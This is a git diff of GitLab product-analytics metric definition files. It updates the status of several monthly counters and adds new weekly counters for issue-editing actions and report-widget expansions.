diff --git a/config/metrics/counts_28d/20210301144228_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_monthly.yml b/config/metrics/counts_28d/20210301144228_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_monthly.yml
index b67a8c521a9..2bc3ff7d2e1 100644
--- a/config/metrics/counts_28d/20210301144228_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_monthly.yml
+++ b/config/metrics/counts_28d/20210301144228_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_monthly.yml
@@ -6,7 +6,7 @@ product_stage: verify
product_group: group::pipeline authoring
product_category: pipeline_authoring
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54707
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210302110520_i_code_review_user_milestone_changed_monthly.yml b/config/metrics/counts_28d/20210302110520_i_code_review_user_milestone_changed_monthly.yml
index 4edc596dca1..9008de987e8 100644
--- a/config/metrics/counts_28d/20210302110520_i_code_review_user_milestone_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210302110520_i_code_review_user_milestone_changed_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55484
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210302110607_i_code_review_user_labels_changed_monthly.yml b/config/metrics/counts_28d/20210302110607_i_code_review_user_labels_changed_monthly.yml
index 713473cc832..883eb32feb5 100644
--- a/config/metrics/counts_28d/20210302110607_i_code_review_user_labels_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210302110607_i_code_review_user_labels_changed_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55484
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210302114145_i_code_review_user_assignees_changed_monthly.yml b/config/metrics/counts_28d/20210302114145_i_code_review_user_assignees_changed_monthly.yml
index 83d06db1fb3..30d410e4b57 100644
--- a/config/metrics/counts_28d/20210302114145_i_code_review_user_assignees_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210302114145_i_code_review_user_assignees_changed_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55486
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210302114219_i_code_review_user_reviewers_changed_monthly.yml b/config/metrics/counts_28d/20210302114219_i_code_review_user_reviewers_changed_monthly.yml
index 9cf18201916..b7093d8c0c5 100644
--- a/config/metrics/counts_28d/20210302114219_i_code_review_user_reviewers_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210302114219_i_code_review_user_reviewers_changed_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55486
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210303150507_i_ecosystem_slack_service_issue_notification_monthly.yml b/config/metrics/counts_28d/20210303150507_i_ecosystem_slack_service_issue_notification_monthly.yml
index 300968b4959..164d37d88e0 100644
--- a/config/metrics/counts_28d/20210303150507_i_ecosystem_slack_service_issue_notification_monthly.yml
+++ b/config/metrics/counts_28d/20210303150507_i_ecosystem_slack_service_issue_notification_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::ecosystem
product_category: integrations
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54347
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210303150654_i_ecosystem_slack_service_push_notification_monthly.yml b/config/metrics/counts_28d/20210303150654_i_ecosystem_slack_service_push_notification_monthly.yml
index 5db875af686..ccf82319d9d 100644
--- a/config/metrics/counts_28d/20210303150654_i_ecosystem_slack_service_push_notification_monthly.yml
+++ b/config/metrics/counts_28d/20210303150654_i_ecosystem_slack_service_push_notification_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::ecosystem
product_category: integrations
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54347
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210303150912_i_ecosystem_slack_service_deployment_notification_monthly.yml b/config/metrics/counts_28d/20210303150912_i_ecosystem_slack_service_deployment_notification_monthly.yml
index b551a1bdfc4..5333e2b7951 100644
--- a/config/metrics/counts_28d/20210303150912_i_ecosystem_slack_service_deployment_notification_monthly.yml
+++ b/config/metrics/counts_28d/20210303150912_i_ecosystem_slack_service_deployment_notification_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::ecosystem
product_category: integrations
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54347
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210303151609_i_ecosystem_slack_service_wiki_page_notification_monthly.yml b/config/metrics/counts_28d/20210303151609_i_ecosystem_slack_service_wiki_page_notification_monthly.yml
index 90c1b0a36ef..89004523ce3 100644
--- a/config/metrics/counts_28d/20210303151609_i_ecosystem_slack_service_wiki_page_notification_monthly.yml
+++ b/config/metrics/counts_28d/20210303151609_i_ecosystem_slack_service_wiki_page_notification_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::ecosystem
product_category: integrations
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54347
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210303151831_i_ecosystem_slack_service_merge_request_notification_monthly.yml b/config/metrics/counts_28d/20210303151831_i_ecosystem_slack_service_merge_request_notification_monthly.yml
index 983b3e4453c..8b12cd29ae4 100644
--- a/config/metrics/counts_28d/20210303151831_i_ecosystem_slack_service_merge_request_notification_monthly.yml
+++ b/config/metrics/counts_28d/20210303151831_i_ecosystem_slack_service_merge_request_notification_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::ecosystem
product_category: integrations
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54347
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210303151946_i_ecosystem_slack_service_note_notification_monthly.yml b/config/metrics/counts_28d/20210303151946_i_ecosystem_slack_service_note_notification_monthly.yml
index 452a4c1258c..49037eeb57f 100644
--- a/config/metrics/counts_28d/20210303151946_i_ecosystem_slack_service_note_notification_monthly.yml
+++ b/config/metrics/counts_28d/20210303151946_i_ecosystem_slack_service_note_notification_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::ecosystem
product_category: integrations
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54347
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210303152049_i_ecosystem_slack_service_tag_push_notification_monthly.yml b/config/metrics/counts_28d/20210303152049_i_ecosystem_slack_service_tag_push_notification_monthly.yml
index 0bc4def1b9c..166176b2026 100644
--- a/config/metrics/counts_28d/20210303152049_i_ecosystem_slack_service_tag_push_notification_monthly.yml
+++ b/config/metrics/counts_28d/20210303152049_i_ecosystem_slack_service_tag_push_notification_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::ecosystem
product_category: integrations
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54347
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210303152144_i_ecosystem_slack_service_confidential_note_notification_monthly.yml b/config/metrics/counts_28d/20210303152144_i_ecosystem_slack_service_confidential_note_notification_monthly.yml
index 3de56f4b328..9092e7696c5 100644
--- a/config/metrics/counts_28d/20210303152144_i_ecosystem_slack_service_confidential_note_notification_monthly.yml
+++ b/config/metrics/counts_28d/20210303152144_i_ecosystem_slack_service_confidential_note_notification_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::ecosystem
product_category: integrations
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54347
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210303152233_i_ecosystem_slack_service_confidential_issue_notification_monthly.yml b/config/metrics/counts_28d/20210303152233_i_ecosystem_slack_service_confidential_issue_notification_monthly.yml
index 247b7b8c406..968ac5734cb 100644
--- a/config/metrics/counts_28d/20210303152233_i_ecosystem_slack_service_confidential_issue_notification_monthly.yml
+++ b/config/metrics/counts_28d/20210303152233_i_ecosystem_slack_service_confidential_issue_notification_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::ecosystem
product_category: integrations
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54347
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210409095855_users_expanding_secure_security_report_monthly.yml b/config/metrics/counts_28d/20210409095855_users_expanding_secure_security_report_monthly.yml
new file mode 100644
index 00000000000..0d0318a02c6
--- /dev/null
+++ b/config/metrics/counts_28d/20210409095855_users_expanding_secure_security_report_monthly.yml
@@ -0,0 +1,20 @@
+---
+key_path: redis_hll_counters.secure.users_expanding_secure_security_report_monthly
+description: Count of expanding the security report widget
+product_section: sec
+product_stage: secure
+product_group: group::static analysis
+product_category: dependency_scanning
+value_type: number
+status: implemented
+milestone: '13.11'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57133
+time_frame: 28d
+data_source: redis_hll
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_28d/20210409100451_users_expanding_testing_code_quality_report_monthly.yml b/config/metrics/counts_28d/20210409100451_users_expanding_testing_code_quality_report_monthly.yml
new file mode 100644
index 00000000000..00d1249d0f9
--- /dev/null
+++ b/config/metrics/counts_28d/20210409100451_users_expanding_testing_code_quality_report_monthly.yml
@@ -0,0 +1,20 @@
+---
+key_path: redis_hll_counters.testing.users_expanding_testing_code_quality_report_monthly
+description: Count of expanding the code quality widget
+product_section: ops
+product_stage: verify
+product_group: group::testing
+product_category: code_quality
+value_type: number
+status: implemented
+milestone: '13.11'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57133
+time_frame: 28d
+data_source: redis_hll
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_28d/20210409100628_users_expanding_testing_accessibility_report_monthly.yml b/config/metrics/counts_28d/20210409100628_users_expanding_testing_accessibility_report_monthly.yml
new file mode 100644
index 00000000000..2b9136fde62
--- /dev/null
+++ b/config/metrics/counts_28d/20210409100628_users_expanding_testing_accessibility_report_monthly.yml
@@ -0,0 +1,20 @@
+---
+key_path: redis_hll_counters.testing.users_expanding_testing_accessibility_report_monthly
+description: Count of expanding the accessibility report widget
+product_section: ops
+product_stage: verify
+product_group: group::testing
+product_category: accessibility_testing
+value_type: number
+status: implemented
+milestone: '13.11'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57133
+time_frame: 28d
+data_source: redis_hll
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_28d/20210413205507_i_testing_summary_widget_total_monthly.yml b/config/metrics/counts_28d/20210413205507_i_testing_summary_widget_total_monthly.yml
new file mode 100644
index 00000000000..a6186d44698
--- /dev/null
+++ b/config/metrics/counts_28d/20210413205507_i_testing_summary_widget_total_monthly.yml
@@ -0,0 +1,20 @@
+---
+key_path: redis_hll_counters.testing.i_testing_summary_widget_total_monthly
+description: Unique users that expand the test summary merge request widget by month
+product_section: ops
+product_stage: verify
+product_group: group::testing
+product_category: testing
+value_type: number
+status: implemented
+milestone: "13.11"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59316
+time_frame: 28d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210201124931_g_project_management_issue_title_changed_weekly.yml b/config/metrics/counts_7d/20210201124931_g_project_management_issue_title_changed_weekly.yml
index 21612fe87f5..6b8e1976ce0 100644
--- a/config/metrics/counts_7d/20210201124931_g_project_management_issue_title_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210201124931_g_project_management_issue_title_changed_weekly.yml
@@ -1,7 +1,6 @@
---
key_path: redis_hll_counters.issues_edit.g_project_management_issue_title_changed_weekly
-description: Distinct users count that changed issue title in a group for last recent
- week
+description: Count of WAU editing an issue title
product_stage: plan
product_group: group::project management
product_category: issue_tracking
diff --git a/config/metrics/counts_7d/20210216181306_g_project_management_issue_description_changed_weekly.yml b/config/metrics/counts_7d/20210216181306_g_project_management_issue_description_changed_weekly.yml
new file mode 100644
index 00000000000..71983a1ddb4
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181306_g_project_management_issue_description_changed_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_description_changed_weekly
+description: Count of WAU editing an issue description
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181310_g_project_management_issue_assignee_changed_weekly.yml b/config/metrics/counts_7d/20210216181310_g_project_management_issue_assignee_changed_weekly.yml
new file mode 100644
index 00000000000..9c75d0b6b63
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181310_g_project_management_issue_assignee_changed_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_assignee_changed_weekly
+description: Count of WAU changing issue assignees
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181313_g_project_management_issue_made_confidential_weekly.yml b/config/metrics/counts_7d/20210216181313_g_project_management_issue_made_confidential_weekly.yml
new file mode 100644
index 00000000000..36ee2fae2de
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181313_g_project_management_issue_made_confidential_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_made_confidential_weekly
+description: Count of WAU making an issue confidential
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181317_g_project_management_issue_made_visible_weekly.yml b/config/metrics/counts_7d/20210216181317_g_project_management_issue_made_visible_weekly.yml
new file mode 100644
index 00000000000..fb9f7841d7c
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181317_g_project_management_issue_made_visible_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_made_visible_weekly
+description: Count of WAU making an issue not confidential
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181321_g_project_management_issue_created_weekly.yml b/config/metrics/counts_7d/20210216181321_g_project_management_issue_created_weekly.yml
new file mode 100644
index 00000000000..986015c578d
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181321_g_project_management_issue_created_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_created_weekly
+description: Count of WAU creating issues
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181324_g_project_management_issue_closed_weekly.yml b/config/metrics/counts_7d/20210216181324_g_project_management_issue_closed_weekly.yml
new file mode 100644
index 00000000000..41ce86d5862
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181324_g_project_management_issue_closed_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_closed_weekly
+description: Count of WAU closing an issue
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181328_g_project_management_issue_reopened_weekly.yml b/config/metrics/counts_7d/20210216181328_g_project_management_issue_reopened_weekly.yml
new file mode 100644
index 00000000000..d276e45bc64
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181328_g_project_management_issue_reopened_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_reopened_weekly
+description: Count of WAU re-opening a closed issue
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181332_g_project_management_issue_label_changed_weekly.yml b/config/metrics/counts_7d/20210216181332_g_project_management_issue_label_changed_weekly.yml
new file mode 100644
index 00000000000..64a0f936ec6
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181332_g_project_management_issue_label_changed_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_label_changed_weekly
+description: Count of WAU changing an issue's label
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181336_g_project_management_issue_milestone_changed_weekly.yml b/config/metrics/counts_7d/20210216181336_g_project_management_issue_milestone_changed_weekly.yml
new file mode 100644
index 00000000000..b793fde042b
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181336_g_project_management_issue_milestone_changed_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_milestone_changed_weekly
+description: Count of WAU changing an issue's milestone
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate \ No newline at end of file
diff --git a/config/metrics/counts_7d/20210216181347_g_project_management_issue_cross_referenced_weekly.yml b/config/metrics/counts_7d/20210216181347_g_project_management_issue_cross_referenced_weekly.yml
new file mode 100644
index 00000000000..2dcc0eddc56
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181347_g_project_management_issue_cross_referenced_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_cross_referenced_weekly
+description: Count of WAU referencing an issue from somewhere else
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 28d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181350_g_project_management_issue_moved_weekly.yml b/config/metrics/counts_7d/20210216181350_g_project_management_issue_moved_weekly.yml
new file mode 100644
index 00000000000..3be8f0646e7
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181350_g_project_management_issue_moved_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_moved_weekly
+description: Count of WAU moving an issue to another project
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181354_g_project_management_issue_related_weekly.yml b/config/metrics/counts_7d/20210216181354_g_project_management_issue_related_weekly.yml
new file mode 100644
index 00000000000..b4fb4d5bd63
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181354_g_project_management_issue_related_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_related_weekly
+description: Count of WAU relating an issue to another issue
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181358_g_project_management_issue_unrelated_weekly.yml b/config/metrics/counts_7d/20210216181358_g_project_management_issue_unrelated_weekly.yml
new file mode 100644
index 00000000000..7f2f70411dc
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181358_g_project_management_issue_unrelated_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_unrelated_weekly
+description: Count of WAU unrelating an issue to another issue
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181401_g_project_management_issue_marked_as_duplicate_weekly.yml b/config/metrics/counts_7d/20210216181401_g_project_management_issue_marked_as_duplicate_weekly.yml
new file mode 100644
index 00000000000..791fc680ac0
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181401_g_project_management_issue_marked_as_duplicate_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_marked_as_duplicate_weekly
+description: Count of WAU marking an issue as a duplicate
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181405_g_project_management_issue_locked_weekly.yml b/config/metrics/counts_7d/20210216181405_g_project_management_issue_locked_weekly.yml
new file mode 100644
index 00000000000..9afa4daf268
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181405_g_project_management_issue_locked_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_locked_weekly
+description: Count of WAU locking an issue
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181409_g_project_management_issue_unlocked_weekly.yml b/config/metrics/counts_7d/20210216181409_g_project_management_issue_unlocked_weekly.yml
new file mode 100644
index 00000000000..6de0bc2168c
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181409_g_project_management_issue_unlocked_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_unlocked_weekly
+description: Count of WAU unlocking an issue
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181422_g_project_management_issue_designs_added_weekly.yml b/config/metrics/counts_7d/20210216181422_g_project_management_issue_designs_added_weekly.yml
new file mode 100644
index 00000000000..73ec2542682
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181422_g_project_management_issue_designs_added_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_designs_added_weekly
+description: Count of WAU adding a design to an issue
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181425_g_project_management_issue_designs_modified_weekly.yml b/config/metrics/counts_7d/20210216181425_g_project_management_issue_designs_modified_weekly.yml
new file mode 100644
index 00000000000..b1e6d34c412
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181425_g_project_management_issue_designs_modified_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_designs_modified_weekly
+description: Count of WAU modifying a design on an issue
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181429_g_project_management_issue_designs_removed_weekly.yml b/config/metrics/counts_7d/20210216181429_g_project_management_issue_designs_removed_weekly.yml
new file mode 100644
index 00000000000..51f3f6584b6
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181429_g_project_management_issue_designs_removed_weekly.yml
@@ -0,0 +1,20 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_designs_removed_weekly
+description: Count of WAU removing a design from an issue
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
+
diff --git a/config/metrics/counts_7d/20210216181433_g_project_management_issue_due_date_changed_weekly.yml b/config/metrics/counts_7d/20210216181433_g_project_management_issue_due_date_changed_weekly.yml
new file mode 100644
index 00000000000..2a699bc67d5
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181433_g_project_management_issue_due_date_changed_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_due_date_changed_weekly
+description: Count of WAU changing an issue due date
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181437_g_project_management_issue_time_estimate_changed_weekly.yml b/config/metrics/counts_7d/20210216181437_g_project_management_issue_time_estimate_changed_weekly.yml
new file mode 100644
index 00000000000..1457453aa04
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181437_g_project_management_issue_time_estimate_changed_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_time_estimate_changed_weekly
+description: Count of WAU changing an issue time estimate
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181440_g_project_management_issue_time_spent_changed_weekly.yml b/config/metrics/counts_7d/20210216181440_g_project_management_issue_time_spent_changed_weekly.yml
new file mode 100644
index 00000000000..eacf55f9984
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181440_g_project_management_issue_time_spent_changed_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_time_spent_changed_weekly
+description: Count of WAU recording time spent on an issue
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181444_g_project_management_issue_comment_added_weekly.yml b/config/metrics/counts_7d/20210216181444_g_project_management_issue_comment_added_weekly.yml
new file mode 100644
index 00000000000..7f8bfa07f0a
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181444_g_project_management_issue_comment_added_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_comment_added_weekly
+description: Count of WAU commenting on an issue
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181448_g_project_management_issue_comment_edited_weekly.yml b/config/metrics/counts_7d/20210216181448_g_project_management_issue_comment_edited_weekly.yml
new file mode 100644
index 00000000000..4f1c6f2e576
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181448_g_project_management_issue_comment_edited_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_comment_edited_weekly
+description: Count of WAU editing a comment on an issue
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
